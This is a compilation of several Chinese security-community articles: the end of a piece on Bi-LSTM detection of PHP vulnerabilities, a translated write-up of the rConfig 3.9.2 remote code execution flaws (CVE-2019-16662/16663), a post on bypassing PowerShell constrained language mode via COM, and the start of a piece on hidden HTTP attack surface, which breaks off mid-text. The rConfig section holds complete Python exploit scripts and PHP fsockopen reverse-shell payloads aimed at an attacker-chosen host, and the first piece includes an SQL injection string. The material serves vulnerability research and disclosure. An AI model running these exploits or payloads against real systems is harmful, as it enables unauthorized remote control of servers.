对应于上面四个步骤，
**1、理解代码：**
这是一段数据库查询的PHP代码，它会显示数据库的查询结果
**2、输入点和危险函数：**
$id=$_GET['id'];
mysql_query
**3、确定漏洞代码路径**
2->3->9->11->12
**4、代码测试：**
-1' union select database() --+
结果：当if条件不满足执行else 分支时存在SQL注入漏洞。
使用算法无论是解决什么问题，本质都是学习人类的经验来模拟人类进行决策。那么上面四个步骤适合应用算法的实际上是第三步，我们给算法一个代码执行路径，让它判断是否可以漏洞利用。
## 2.2 算法的选择
代码不同于一般的字符串，它的字符与字符之间、行与行之间、函数与函数之间甚至文件与文件之间都是有关系的，这种上下文关系使得我们不能像处理离散值那样简单的切分后直接抛给一个模型。我们希望算法能够学习向量不同维度之间关系，即是由字符转换成数字后，仍然不损失代码的语义逻辑。
这个问题可以参考一个有趣的项目：[Screenshot-to-code](https://github.com/emilwallner/Screenshot-to-code "Screenshot-to-code")，此项目是以前端图片为输入，通过算法生成前端代码。
其中卷积网络负责对图片的处理，循环网络负责对代码的处理，这里的循环神经网络使用的LSTM。LSTM最初是自然语言处理中常用的算法，它可以学习文本中的空间序列关系，保留语义信息。LSTM是比较适合用来代码数据的，因此本文在LSTM的基础上构建神经网络模型。
该项目的理论基础基础是一篇发表在EICS 2018 上的一篇论文，感兴趣的可以深入看一下。
论文下载地址：<https://arxiv.org/pdf/1705.07962.pdf>
模型和数据集下载地址：<https://github.com/tonybeltramelli/pix2code>
模型视频演示地址：<https://uizard.io/research#pix2code>
## 2.2 数据处理
数据处理的本质其实是模拟人的思路去解析代码，但是要把代码转换成模型可识别的数字向量，这里我们分成下面几个步骤。
### Step1：搜索可疑漏洞点
为了确定漏洞的大概位置，首先要搜索可疑漏洞点，也就是指漏洞最终触发的地方。它可能是一些函数或者特殊的代码关键字，比如执行SQL语句的函数或者一些HTML
tags（HTML标签，如`<script>`、`<img>`等，它们分别表示SQL注入和XSS漏洞的漏洞点。以2.1
节中的图片为例，我们认为可疑漏洞点就是第9行。
### Step2：生成代码数据流
根据代码数据流进行变量追踪是很多白盒检测工具的原理，我们也需要代码的执行流程进行分析，以数据流为单位进行漏洞检测。而不是直接将源代码作为直接切分成字符串，这样会破坏代码的语义，也就失去了漏洞检测的依据。
下图展示了对PHP源代码使用图谱分析生成数据流的流程图，源代码会首先根据上述算法生成图谱，然后根据图的路径提取出多个代码切片。中间部分是代码图谱，可以看到其输入是$id=$_GET[‘id’]，含义是获取HTTP(S)数据包URI中的id参数值，图的输出是echo
$row，也就是常见的输出语句。图中示例代码根据控制流可以分成黑色和红色两个代码执行路径，其中红色执行路径存在可疑漏洞点且有用户可控的输入变量，因此将其数据流提取出来，组成代码切片。
这里我其实没有找到太好的自动化方法，看一些论文是将 Checkmax
的数据流中间结果提取出来用于实验，Checkmax确实可以做到这一点。但当时在实验的时候没有Checkmax
的环境，太过昂贵也无法自行购买，因此只能从数据本身下手，相关说明可以看第三节『算法实验』。
### Step3：生成字节码切片
每一种语言都有其对应的编码规范，但是在实际编程中即使是同一功能点不同的开发人员也可能写出风格完全不同的源代码。这些差异导致算法在学习源代码级别的特征的时候容易被干扰，极有可能使得模型过于拟合训练集，当测试集或待检测的目标源代码风格与训练集不一致时模型很容易误判，也就是出现过拟合现象。因此使用源代码级别的特征进行漏洞挖掘存在一定先天劣势，为了解决这个问题我们将代码图谱中提取的源代码切片转换成字节码切片。每种语言有各自的转换方式，PHP可使用自身的拓展VLD（Vulcan
Logic Dumper）进行转换，安装完成之后使用命令运行即可，效果如下图所示。
PHP源代码与字节码的关系如图下所示，左边为Stpe2
所提取的SQL注入漏洞源代码切片，右边是其对应的字节码（一行源代码对应若干行字节码），可以看到字节码的三个核心字段：Opcode（操作码）、Operands（操作数）以及Return（返回值）。源代码转换成字节码的过程中会自动进行一些数据处理，比如去除注释、变量名编码等，图中!0
对应 $id, !1 对应 $sql, !2 对应 $result, !3 对应
$row。变量名编码本质就是将用户自定义的变量名使用同一套规则进行数字化，避免了自定义字符对模型学习带来的干扰。
### Step4：生成字符向量
深度神经网络一般只能接收数字向量作为输入，因此要采取合适的编码方式将字节码符号转换成数字向量。首先，要对字节码切片进行一些预处理。在字节码字符中有些是被URL编码过的，需要对其进行解码。再以源代码的行为单位，每一行对应若干行字节码切片，将这若干行字节码片段转换成字符序列。具体操作步骤以上图的第3行为例，源代码为：
$sql="SELECT * FROM users WHERE id=’$id’";
其对应的字节码转换成字符序列为：
"EXT_STMT", "ADD_STRING", "SELECT", "*", "FROM", "users", "WHERE", "id",
"ADD_VAR", "~ 3", "!0", "ADD_CHAR", "~ 3", "39", "ASSIGN", "!1", "~ 3"
### Step5：生成数字向量
然后使用word2vec，将词序列转换成数字向量。word2vec是词嵌入方法的一种，本质上是简化的神经网络，通过训练可以得到当前词与上下文词的关系模型，模型的权重参数即是当前词的数字编码结果，一般是隐藏层的权重矩阵。使用word2vec获得的数字向量可以在保留词上下文关系的前提下简化向量维度，避免维度灾难。在代码数据中，word2vec转换得出的数字向量包含了变量在个语句传递的关系，对深度学习模型识别漏洞特征具有非常大的帮助。
## 2.3 模型设计
这里尝试过两种模型，一是单输入和单输出的检测模型，输入一个代码片段，输出是否存在漏洞；二是尝试了一种孪生网络，双输入和单输出，输入两个代码片段，输出两者的相似度，通过相似度的值判断是否存在漏洞。
单网络模型较好理解，输入一个代码片段，输出是否存在漏洞，因此这里重点介绍孪生网络模型的流程。
### 孪生网络模型
基于Bi-LSTM构造的孪生网络的核心方法是计算待检测的目标代码和漏洞模板之间相似度，根据相似度是否超过阈值判定是否存在漏洞。因此，本文的神经网络模型输入为两个数字向量，输出为一个0到1之间的相似度值。如下图所示为神经网络的结构图，它有两个Bi-LSTM层，一个Merge layer（融合层），一个Dense
layer（全连接层）和一个Softmax层，最终使用一个Model进行封装，使得左右两个网络能够共享权值。Bi-LSTM层包含了LSTM神经元，将它们进行前后双向链接，能够前后双向的传播误差，提高算法准确度；融合层会将Bi-LSTM层的两个输出融合成一个张量；全链接层用于减少张量的维度；Softmax层将低维张量作为输入，然后输出一个0到1之间数值，代表了最初两个向量的相似度。相似度越高值接近1，相似度越低值越接近于0。为了适应模型的输入结构，要将训练或测试数据构造成一个元组(X1,X2)。第一维是漏洞模板，第二维是训练或测试数据，分别输入到两个分支网络中。模型使用Adam优化算法以及二元交叉熵（binary_crossentropy）损失函数，其损失值不为负，Adam对其的优化是一个由较高的正值逐渐向0靠近的过程。
## 2.4 系统流程
模型的过程主要分为两个阶段，训练阶段和检测阶段。两个阶段的处理过程是一致的，不过训练阶段的输出是模型，检测阶段的输出是漏洞检测结果。如下图所示（图中代码数据以PHP语言为例）是整个模型结构。
某一类型的漏洞可能存在多个子类型，它表示漏洞多种的利用方式。因此在本文的模型中，每一个漏洞都会存在多个漏洞模板。每个模板代表了某一个漏洞子类型，不同子类型之间的定义差别是非常微小的，因此模板之间的差别也是递进变化的，当一个目标代码与某一个模板相似度较高时，那必然与一定数量的模板都有较高的相似度，而正常代码与漏洞模板在特征的各个维度上是差别很大的。所以，一个目标代码是否存在漏洞要综合计算与所有漏洞模板的相似度均值，有以下公式：
其中S表示相似度均值，N表示特定类型的漏洞模板数量，BLNN表示Bi-LSTM神经网络，T_i表示某一个具体的模板，P表示待检测的目标代码（本文以PHP为例）。BLNN是的输出是0（不相似）到1（相似）之间的一个值，当整体的相似度均值S超过了设定的阈值就判定存在漏洞，这里的初始阈值本文设定为0.5，用户可以根据使用情况在系统配置中进行修改。
在本文的实验中，漏洞模板本质是确定存在漏洞的字节码切片，每种类型的漏洞会有多个模板。判定是否存在某个类型的漏洞时要和该类型的模板都计算一次相似度，因此这个模型相对于单网络模型是非常耗时的。
# 三、算法实验
实验以P（准确率））、R（召回率）、F1值、假阴率（FNR）和假阳率（FPR）几个指标作为评估依据。实验数据来自美国国家漏洞库的
[Sard](https://samate.nist.gov/SRD/index.php "Sard")
项目，该项目有大量的漏洞样例，并且每个都标记了CWE编号，也就是漏洞类型。经过统计，一共收集了18989个样本，其中SQL注入漏洞样本912个，XSS漏洞样本4352个，剩下的13725个为不存在漏洞的样本。
根据前面提到的数据处理过程，将采集到的数据转换成数字向量。前面说到我们没有太好的方法从源代码中提取数据流信息，而Sard
的数据某种程度上可以解决这个问题，上面的漏洞case 都是处理过的，每个实例文件基本都是单一的数据流程序，直接使用基本就可以满足我们的预期。一个XSS
漏洞而Sard 数据实例如下所示：
本文根据漏洞类型不同将数据集分成SQL-SET、XSS-SET和MUL-SET三个，MUL-SET是SQL和XSS漏洞数据的混合数据集，以此来检验模型对不同漏洞的区分能力。在SQL-SET数据集中有1032509个token，每一个token代表向量中的一个词，去重之后有182个；在XSS-SET数据中有510252个token，去重之后有168个；MUL-SET是前两者的和。这里的每一个token都是源代码中的一个关键词、变量名或者函数名，当以空格分割后会产生大量的token，但是转换成字节码后许多自定义名称或者程序关键词都被自动编码了，这使得字节码层面的token种类大幅减少。下表展示了三个数据集中字节码切片的统计情况，可以看到每一种类型漏洞数据的无漏洞样本要多于有漏洞的样本，这是数据采集中的正负样本不均衡的现象，会给模型训练带来一定负面影响。本实验会从三个数据集随机抽取10%的数据作为测试集，剩余的作为训练集用于模型训练。
数据集 | 字节码切片 | 漏洞字节码切片 | 无漏洞字节码切片
---|---|---|---
SQL-SET | 8904 | 912 | 7992
XSS-SET | 10085 | 4352 | 5733
MUL-SET | 18989 | 5264 | 13725
如下图所示是训过中参数调优的过程，图中重点描述了几个核心参数随着F1值变化而变化的过程，根据参数与F1值的变化关系，综合选定参数值。
然后使用剩余10%的数据进行测试，下表是测试集的检测结果。
孪生网络模型：
数据集 | P(%) | R(%) | F1(%) | FPR(%) | FNR(%)
---|---|---|---|---|---
SQL-SET | 78.04 | 100.0 | 88.04 | 3.13 | 0.00
XSS-SET | 99.02 | 92.22 | 95.50 | 0.70 | 7.78
MUL-SET | 85.76 | 97.99 | 91.44 | 6.26 | 2.01
单网络模型的数据丢失了，没有找到备份，总体上是低于孪生网络模型的。不过若真正在生产环境下使用，孪生网络可行性比较低，主要是因为其检测速度太慢。
# 附 - 模型构造代码
def gen_model(embedding_matrix, nb_words):
num_lstm1 = 64
num_lstm2 = 32
num_dense = 64
rate_drop_lstm = 0.1
rate_drop_dense = 0.1
"""Build the lstm model"""
embedding_layer = Embedding(nb_words,
EMBEDDING_DIM,
weights=[embedding_matrix],
input_length=MAX_SEQUENCE_LENGTH,
trainable=True)
# Double bi-directional layer
lstm_1_layer1 = Bidirectional(LSTM(num_lstm1, dropout=rate_drop_lstm, recurrent_dropout=rate_drop_lstm,return_sequences=True))
lstm_1_layer2 = Bidirectional(LSTM(num_lstm2, dropout=rate_drop_lstm, recurrent_dropout=rate_drop_lstm))
lstm_2_layer1 = Bidirectional(LSTM(num_lstm1, dropout=rate_drop_lstm, recurrent_dropout=rate_drop_lstm,return_sequences=True))
lstm_2_layer2 = Bidirectional(LSTM(num_lstm2, dropout=rate_drop_lstm, recurrent_dropout=rate_drop_lstm))
# The first input data
input_1 = Input(shape=(MAX_SEQUENCE_LENGTH,), dtype='int32')
embedded_sequences_1 = embedding_layer(input_1)
sequence_1_input = Masking(mask_value=0, input_shape=(MAX_SEQUENCE_LENGTH,EMBEDDING_DIM))(embedded_sequences_1)
first_y1 = lstm_1_layer1(sequence_1_input)
y1 = lstm_1_layer2(first_y1)
# The second input data
input_2 = Input(shape=(MAX_SEQUENCE_LENGTH,), dtype='int32')
embedded_sequences_2 = embedding_layer(input_2)
sequence_2_input = Masking(mask_value=0, input_shape=(MAX_SEQUENCE_LENGTH,EMBEDDING_DIM))(embedded_sequences_2)
first_y2 = lstm_2_layer1(sequence_2_input)
y2 = lstm_2_layer2(first_y2)
# Concatenate layer
merged = Concatenate(axis = -1)([y1, y2])
merged = Dropout(rate_drop_dense)(merged)
merged = BatchNormalization()(merged)
# Dense layer
merged = Dense(num_dense, activation='relu')(merged)
merged = Dropout(rate_drop_dense)(merged)
merged = BatchNormalization()(merged)
# Output layer
preds = Dense(1, activation='sigmoid')(merged)
original_model = Model(inputs=[input_1, input_2], outputs=preds)
parallel_model = multi_gpu_model(original_model, GPU)
parallel_model.compile(loss='binary_crossentropy',
optimizer='adam',
metrics=[F1])
return original_model, parallel_model | 社区文章 |
## rConfig v3.9.2 authenticated and unauthenticated RCE (CVE-2019-16663) and
(CVE-2019-16662)
原文：<https://shells.systems/rconfig-v3-9-2-authenticated-and-unauthenticated-rce-cve-2019-16663-and-cve-2019-16662/>
## 关于rConfig
rConfig是一个开放源码的网络设备配置管理实用工具，用于网络工程师对网络设备的配置。
图1
## 关于漏洞的利用
我在两个文件中分别发现了两个远程代码执行漏洞。第一个是ajaxServerSettingsChk.php，攻击者可以通过rootUname参数发送精心构造的一个GET请求，触发未授权RCE漏洞。rootUname参数在源文件第2行中定义，随后会在第13行传递给exec函数，攻击者可以构造参数接收内容实现让操作系统执行恶意命令。这个漏洞很容易利用和发现,后面的篇幅中我将介绍如何发现并利用这个漏洞。
第二个漏洞是在search.crud.php发现的，这文件需要通过身份验证才能触发远程代码执行漏洞。这个漏洞可以通过构造一个包含有两个参数的GET请求触发，
其中searchTerm参数可以包含任意值，但该参数必须存在，才能执行到第63行的exec函数。
跟我平常找RCE漏洞的方法一样，因此我使用自己开发的一个Python脚本（<https://github.com/mhaskar/RCEScanner）来列出有哪些不安全的函数。这个脚本在先前的案例研究中曾经使用过。>
## 未授权RCE分析
运行这个脚本过后输出了一些结果，我开始分析这些输出结果并且注意到路径为`install/lib/ajaxHandlers/`的`ajaxServerSettingsChk.php`文件，部分代码如下：
图2
从代码可以看出，第2行脚本代码的意思是将GET请求中的rootUname参数值赋值到$rootUname变量中。
在第12行，代码将$rootUname与一些字符串拼接在一起，保存到rootTestCmd1变量，然后传递给第13行的exec函数。后续代码执行了相同的操作。
因此，我们只需注入特定构造命令，在第13行跳出转义字符串来执行命令，为此，我们可以使用如下的Payload：
;your command #
为了方便测试，我修改了13行的exec函数，把exec执行后的命令返回结果显示到页面上，然后编码发送Payload，得到了如下结果：
图3
我们发送编码后的Payload，rootUname参数里经过URL编码的【; id #】命令被成功执行了两次。
为了得到shell，使用下面的Payload:
;php -r '$sock=fsockopen(ip,port);exec("/bin/sh -i <&3 >&3 2>&3");' #
默认的CentOS 7.7 mini版本没有安装nc，所以使用这条Payload更方便测试。
在使用Burp编码并发送有效Payload之后，我们将获得以下内容：
图4
我们反弹回一个shell！
为了自动化完成该过程，我简单编写了一个python代码来利用这个漏洞：
脚本地址：<https://gist.github.com/mhaskar/ceb65fa4ca57c3cdccc1edfe2390902e>
#!/usr/bin/python
# Exploit Title: rConfig v3.9.2 unauthenticated Remote Code Execution
# Date: 18/09/2019
# Exploit Author: Askar (@mohammadaskar2)
# CVE : CVE-2019-16662
# Vendor Homepage: https://rconfig.com/
# Software link: https://rconfig.com/download
# Version: v3.9.2
# Tested on: CentOS 7.7 / PHP 7.2.22
import requests
import sys
from urllib import quote
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
if len(sys.argv) != 4:
print "[+] Usage : ./exploit.py target ip port"
exit()
target = sys.argv[1]
ip = sys.argv[2]
port = sys.argv[3]
payload = quote(''';php -r '$sock=fsockopen("{0}",{1});exec("/bin/sh -i <&3 >&3 2>&3");'#'''.format(ip, port))
install_path = target + "/install"
req = requests.get(install_path, verify=False)
if req.status_code == 404:
print "[-] Installation directory not found!"
print "[-] Exploitation failed !"
exit()
elif req.status_code == 200:
print "[+] Installation directory found!"
url_to_send = target + "/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=" + payload
print "[+] Triggering the payload"
print "[+] Check your listener !"
requests.get(url_to_send, verify=False)
如下是执行脚本的结果：
图5
再次反弹得到shell！
## 授权验证的RCE分析
RCE扫描器的另一个结果路径在：lib/crud/的search.crud.php文件中， 这个漏洞需要登录验证后才能利用。片段代码如下:
图6
首先，我们需要绕过第25行的if语句。发送名为searchTerm参数的GET请求，这样就能进入代码判断逻辑内部，然后我们还需要连合一个名为catCommand参数，这个参数里面包含我们的Payload，在第61行与一些字符串拼接起来后。进入代码判断逻辑内部函数后存储到$command变量中，在第63行传递给exec函数执行。
这里将使用sleep这个Payload来测试漏洞，这个Payload将尝试睡眠5秒钟，执行后观察响应时间并与正常响应时间进行比较就能判断执行成功与否。观察第61行的代码，可以有多种不同的Payload。
此处我的Payload：
""&&$(`sleep 5`)#
通过Burp发送这个Payload，我们能得到如下的响应信息：
图7
响应时间延迟了5000+毫秒，也就意味着命令执行成功了！
当然这里不限于仅仅是用sleep命令做测试，除此之外我们也可以尝试多种Payload。
为了得到一个shell，我使用了php的fsockopen并构造成可以跟串联字符串一起使用的Payload，如下所示：
""&&php -r '$sock=fsockopen("192.168.178.1",1337);exec("/bin/sh -i <&3 >&3 2>&3");'#
为了自动化利用该漏洞，我开发了一段简单的python代码：
代码地址：<https://gist.github.com/mhaskar/e7e454c7cb0dd9a139b0a43691e258a0>
#!/usr/bin/python
# Exploit Title: rConfig v3.9.2 Authenticated Remote Code Execution
# Date: 18/09/2019
# Exploit Author: Askar (@mohammadaskar2)
# CVE : CVE-2019-16663
# Vendor Homepage: https://rconfig.com/
# Software link: https://rconfig.com/download
# Version: v3.9.2
# Tested on: CentOS 7.7 / PHP 7.2.22
import requests
import sys
from urllib import quote
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
if len(sys.argv) != 6:
print "[+] Usage : ./exploit.py target username password ip port"
exit()
target = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = sys.argv[5]
request = requests.session()
login_info = {
"user": username,
"pass": password,
"sublogin": 1
}
login_request = request.post(
target+"/lib/crud/userprocess.php",
login_info,
verify=False,
allow_redirects=True
)
dashboard_request = request.get(target+"/dashboard.php", allow_redirects=False)
if dashboard_request.status_code == 200:
print "[+] LoggedIn successfully"
payload = '''""&&php -r '$sock=fsockopen("{0}",{1});exec("/bin/sh -i <&3 >&3 2>&3");'#'''.format(ip, port)
encoded_request = target+"/lib/crud/search.crud.php?searchTerm=anything&catCommand={0}".format(quote(payload))
print "[+] triggering the payload"
print "[+] Check your listener !"
exploit_req = request.get(encoded_request)
elif dashboard_request.status_code == 302:
print "[-] Wrong credentials !"
exit()
运行漏洞利用代码后，我们能看到如下结果：
图8
成功反弹一个shell！
## 漏洞披露
我在2019年9月19日向rConfig main developer报告了这两个漏洞，但是没有得到任何修复发布日期，甚至没有得到他们将修复该漏洞的声明。
所以在没有回应的35天后，我公布了这个漏洞。
译者注：顺着Github找到了系统源码，找到了修复后的漏洞文件
<https://github.com/rconfig/rconfig/commit/6ea92aa307e20f0918ebd18be9811e93048d5071> | 社区文章 |
原文：<https://www.mdsec.co.uk/2018/09/applocker-clm-bypass-via-com/>
约束语言模式是一种用来限制PowerShell访问权限的方法，不仅可以用来禁止访问诸如Add-Type之类得功能，还能禁止其访问可用于利用PowerShell运行时来启动post-exploitation工具的各种反射方法。
尽管微软可能会声称，这个特性在很大程度上被用作一种安全控制措施，能够让防御者使“Invoke-Mimikatz”等工具无法运行，因为它们严重依赖于反射型技术。
当将要在强制执行约束语言模式的环境中执行任务时，我会设法寻找绕过该保护措施的方法。为此，我启动了一个Windows
10实例，并通过默认规则集配置了CLM。在这篇文章中，我们将为读者详细展示这项研究的结果，以及作为非管理员用户绕过该保护措施的方法。
**出发吧…**
* * *
在测试环境中，我们需要做的第一件事就是启用AppLocker。就本文来说，我们将使用Windows部署的默认规则来限制脚本的执行。启动Application
Identity服务后，可以执行以下命令，以确保CLM已启用：
$ExecutionContext.SessionState.LanguageMode
在这里，我们应该看到返回ConstrainedLanguage的值，表明我们现在处于受限制的环境中。为了进一步确认这一点，我们可以尝试使用PowerShell中的受限命令执行一项简单的任务，看看系统有什么反应：
Add-Type "namespace test { }"
很好，现在CLM已经启用了，接下来，我们要做的事情就是设法绕过它？
**AppLocker CLM中的新对象......管用吗？**
* * *
令人惊讶的是，当我考察CLM的攻击面时，我惊奇地发现，当通过AppLocker启用CLM时，New-Object是可以正常工作的（尽管有一些限制）。这似乎与预期的目标不一致，可实践证明，以下命令确实能够运行：
New-Object -ComObject WScript.Shell
毫无疑问，这为我们提供了一种在PowerShell中操作PowerShell进程的完美方式，因为COM对象完全可以通过DLL加载到调用进程中。那么，我们怎样才能创建一个可以加载的COM对象呢？好吧，如果我们在尝试调用New-Object-ComObject xpntest时查看ProcMon，就会发现针对HKEY_CURRENT_USER的请求有许多：
经过一番折腾后发现，我们可以使用以下脚本在HKCU中创建所需的注册表项：
现在，如果尝试加载COM对象，就会看到我们的自定义的DLL将被加载到PowerShell进程空间中：
太棒了，我们现在可以将任意的DLL加载到PowerShell中，而不用求助于“动静太大”的CreateRemoteThread或WriteProcessMemory调用，并且，所有这些都是在受限的上下文中进行的。但是，如果禁用了约束语言模式，我们如何通过非托管DLL加载方法来实现这一点呢？实际上，我们可以利用.NET
CLR，或者确切地说，我们利用非托管DLL来加载.NET CLR，从而帮助调用.NET程序集......
**从非托管DLL到托管DLL再到反射**
* * *
现在，人们认为将CLR加载到非托管进程中是理所当然的，比如，Cobalt Strike就提供了Execute-Assembly等工具来简化这一过程。我之前已经分享过如何在不借助Cobalt Strike的情况下，实现相同技术的相关要点：
当然，我们不会在这里讨论这段代码的内部机制（如果读者有兴趣的话，建议阅读微软的相关文章），但最终结果是，DLL将加载.NET
CLR，然后是.NET程序集，并且将执行流程传给指定的方法。
完成上述操作后，现在就可以访问.NET了，更重要的是，还能使用.NET的反射功能。接下来，我们需要弄清楚CLM的开/关“机关”在哪里。
通过对PowerShell、System.Management.Automation.dll的.NET程序集进行反汇编处理，我们发现其中一个用于标识语言模式的地方，即属性System.Management.Automation.Runspaces.RunspaceBase.LanguageMode。由于我们将使用反射技术，所以，我们需要通过一个变量找到对Runspace的引用，当然，这个变量必须是在运行时可以受我们控制的。我[发现](https://gist.githubusercontent.com/xpn/e95a62c6afcf06ede52568fcd8187cc2/raw/f3498245c8309d44af38502a2cc7090c318e8adf/clr_via_native.c
"发现")完成这些任务的最好方式，是借助于Runspaces.Runspace.DefaultRunspace.SessionStateProxy.LanguageMode，例如：
将其编译为.NET程序集后，我们就可以通过反射方法来禁用CLM了。这样一来，剩下的事情就是创建一个[PowerShell脚本](https://gist.githubusercontent.com/xpn/1e9e879fab3e9ebfd236f5e4fdcfb7f1/raw/ceb39a9d5b0402f98e8d3d9723b0bd19a84ac23e/COM_to_registry.ps1
"PowerShell脚本")来处理相应的事项了：
好了，我们来看一段视频：
<https://youtu.be/ghi2M80fiMU>
**为什么会这样呢?**
* * *
那么，为什么COM能够绕过这项保护措施，同时，PowerShell又是如何处理COM加载的呢？
答案可以在SystemPolicy.IsClassInApprovedList方法中找到，该方法用于检查我们是否允许向New-Object提供的CLSID。当我们深入研究这种方法时，会发现大部分工作都是由以下代码完成的：
if (SystemPolicy.WldpNativeMethods.WldpIsClassInApprovedList(ref clsid, ref wldp_HOST_INFORMATION, ref num, 0u) >= 0 && num == 1) { ... }
该调用只是wldp.dll公开的WldpIsClassInApprovedList函数的包装器，它用于根据DeviceGuard策略（或现在已知的Windows
Defender Application Control）来检查CLSID。由于该方法不适用于AppLocker，这就意味着任何CLSID都能通过检查。
**怪哉？？！！**
* * *
因此，在测试这种技术时，我遇到了一个奇怪的情况：通过以下方法设置CLM时，该技术将失效：
$ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"
这个问题困扰了我一段时间，因为我过去曾使用上面的方法测试过有效载荷，那有，区别在哪呢？回到我们的反汇编代码，最终在程序集Microsoft.Powershell.Commands.Utility.dll中找到了答案，准确的说是NewObjectCommand类的BeginProcessing方法：
在这里，我们可以看到实际上有两个代码路径，走哪条路径具体取决于CLM的启用方式。如果SystemPolicy.GetSystemLockdownPolicy返回Enforce，则会采用第一个代码路径，这是启用AppLocker或DeviceGuard时的情况，但是，如果直接设置ExecutionContext.SessionState.LanguageMode属性的话，情况就不同了。如果直接设置该属性，我们就会直接进入if（！flag）...代码块，这时，它会抛出异常。由此得出的结论是，CLM的反应实际上会略有不同，具体取决于它是通过AppLocker、DeviceGuard还是通过LanguageMode属性启用的。
当然，这绝不是绕过CLM的唯一方法，因为即使粗略地看一下PowerShell也会发现，还有许多潜在的路径可以实现类似的效果。需要推荐的是，[Oddvar
Moe](https://twitter.com/Oddvarmoe "Oddvar
Moe")是这方面的专家，读者可以通过他的Derbycon[演讲](https://docs.google.com/spreadsheets/d/1XCKWHuXrVNcmmL1HsXklMT9ati8WSxGZkV_79Jh7gqA/edit#gid=1460396465
"演讲")来了解更多的高超技巧！ | 社区文章 |
# 【技术分享】针对HTTP的隐藏攻击面分析（下）
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<http://blog.portswigger.net/2017/07/cracking-lens-targeting-https-hidden.html>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[WisFree](http://bobao.360.cn/member/contribute?uid=2606963099)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
为了增强用户体验度，现代Web网站架构中都包含了各种各样的“隐藏系统”，这些系统不仅可以给用户提供各种额外的服务，而且还可以帮助管理员提取网站各方面的分析数据。但是，这些隐藏系统同样也是近些年里经常被人们忽略的隐形攻击面。
**传送门：**
**[【技术分享】针对HTTP的隐藏攻击面分析（上）](http://bobao.360.cn/learning/detail/4218.html)**
**传送门：**
**[【技术分享】针对HTTP的隐藏攻击面分析（中）](http://bobao.360.cn/learning/detail/4242.html)**
**前文回顾**
****
在本系列文章的上集，我们对现代Web应用架构中的隐藏系统以及隐藏服务进行了简单描述，并且介绍了本系列文章中所要使用的工具以及技术。在本系列文章的中集，我们介绍了几种可以暴露目标阻止隐藏服务或隐藏系统的几种简单方法，那么在下集中，我们将会用实际的目标来给大家演示如何利用这些技术寻找到隐藏系统，并利用其中存在的安全漏洞来完成入侵攻击。
**四、目标设定为辅助系统**
****
目前为止，我们已经了解了反向代理所能呈现出的变化以及多样性，并且还介绍了能够让反向代理错误传递请求的技术，但是这种技术所能带来的影响并没有完全发挥出来。在这一章节中我们将会看到，当你在遇到类似后台分析服务器或缓存这样的辅助系统时，想要找出一个可以利用的漏洞会比引发一次服务器回调要困难得多。
**1.收集信息**
与基于路由的攻击技术不同，这些技术一般来说并不会破坏目标网站原本正常的功能，而Collaborator
Everywhere正是通过向每一个请求注入不同的攻击向量来利用了这项技术：
GET / HTTP/1.1
Host: store.starbucks.ca
X-Forwarded-For: a.burpcollaborator.net
True-Client-IP: b.burpcollaborator.net
Referer: http://c.burpcollaborator.net/
X-WAP-Profile: http://d.burpcollaborator.net/wap.xml
Connection: close
**X-Forwarded-For**
其中有一种回调技术示例（即X-Forwarded-For和True-Client-IP这两个HTTP头）虽然很容易触发，但是想要利用它们却非常困难，而这两个HTTP头一般是渗透测试人员用来伪造IP地址和主机名时使用的。信任这些HTTP头的应用程序将会执行DNS查询并尝试将请求中提供的主机名解析为相应的IP地址。这也就意味着，这些应用程序将无法抵御IP欺骗攻击，但是除非你已经找到了一个非常方便利用的DNS库内存崩溃漏洞，否则我们仍然难以去利用这种回调行为所存在的安全漏洞。
**Referer**
类似的，Web分析系统通常会获取访问者所提供的Referer头中任何未识别的URL地址。某些分析系统甚至还会出于SEO索引之类的目的，来尝试对一个Referer头中URL地址所指向的网站进行完整爬取。这种行为就非常危险了，所以我们也许可以定义一个不那么严格的robots.txt文件来鼓励目标系统的这种危险行为，并将其转换为一种Blind-SSRF漏洞，因为对于用户来说，他们根本无法查看到分析系统的请求结果，而且分析系统一般在用户提供了请求之后的几分钟或几个小时才能生成分析结果，这也就使得情况更加的复杂了。
**参数复制**
出于某种原因，如果查询字符串中某个URL出现了两次的话，Incapsula将会直接尝试获取这个URL所指向的资源。但不幸的是，Incapsula并没有设立自己的漏洞奖励计划，所以我就没有再花时间去研究这个漏洞是否可以被进一步利用了。
**X-Wap-Profile**
X-Wap-Profile是一种非常古老的HTTP头了，它可以向设备的用户代理配置（UAProf）中指定一个URL地址。配置文件UAProf是一种XML文档，它用于定义设备的基本特性，例如屏幕尺寸、蓝牙功能、以及可支持的协议和字符等等：
GET / HTTP/1.1
Host: facebook.com
X-Wap-Profile: http://nds1.nds.nokia.com/uaprof/N6230r200.xml
Connection: close
兼容的应用程序将会从这个HTTP头中提取出URL地址，然后获取并解析指定的XML文档，这样它们就可以将目标内容更好地提供给客户端了。但是这样的运行机制其安全风险是非常高的，因为这些应用程序将有可能从不受信任的URL地址获取资源并解析不受信任的XML文档，并导致更加严重的安全问题出现。但对我们来说不幸的是，这种功能并没有被广泛采用，而Facebook是唯一一个既拥有漏洞奖励计划又存在这个安全问题的网站，不过它们再处理这些XML解析时非常的小心谨慎，而且它们会在接收到请求的二十六个小时之后才去获取指定的XML文档，这也使得我们的测试变得非常困难。
**2.远程客户端漏洞利用**
在这些场景中，想要直接找到SSRF漏洞并加以利用其实是非常困难的，因为我们无法及时接收到应用程序的反馈结果（各种延时处理）。因此，我决定将注意力放在与我们连接在一起的客户端身上。由于反向代理的存在，这些客户端一般都没有经过严格的安全审计，而且我们甚至还可以直接用现成的工具来利用其中存在的安全漏洞。比如说，我可以通过与服务器建立一条HTTPS通信链接，并对已连接的系统发动客户端Heartbleed攻击来轻松窃取到服务器中的内存信息。类似PhantomJS这样的无头（Headless）浏览器一般都是过时的，而且已经很久没有进行过安全更新了。除此之外，基于Windows的客户端也会向运行了[SpiderLabs
Responder](https://github.com/SpiderLabs/Responder)的服务器自动上传域名证书，而且lcamtuf的[p0f](http://lcamtuf.coredump.cx/p0f3/)还可以帮助我们发现用户代理背后所运行的客户端。
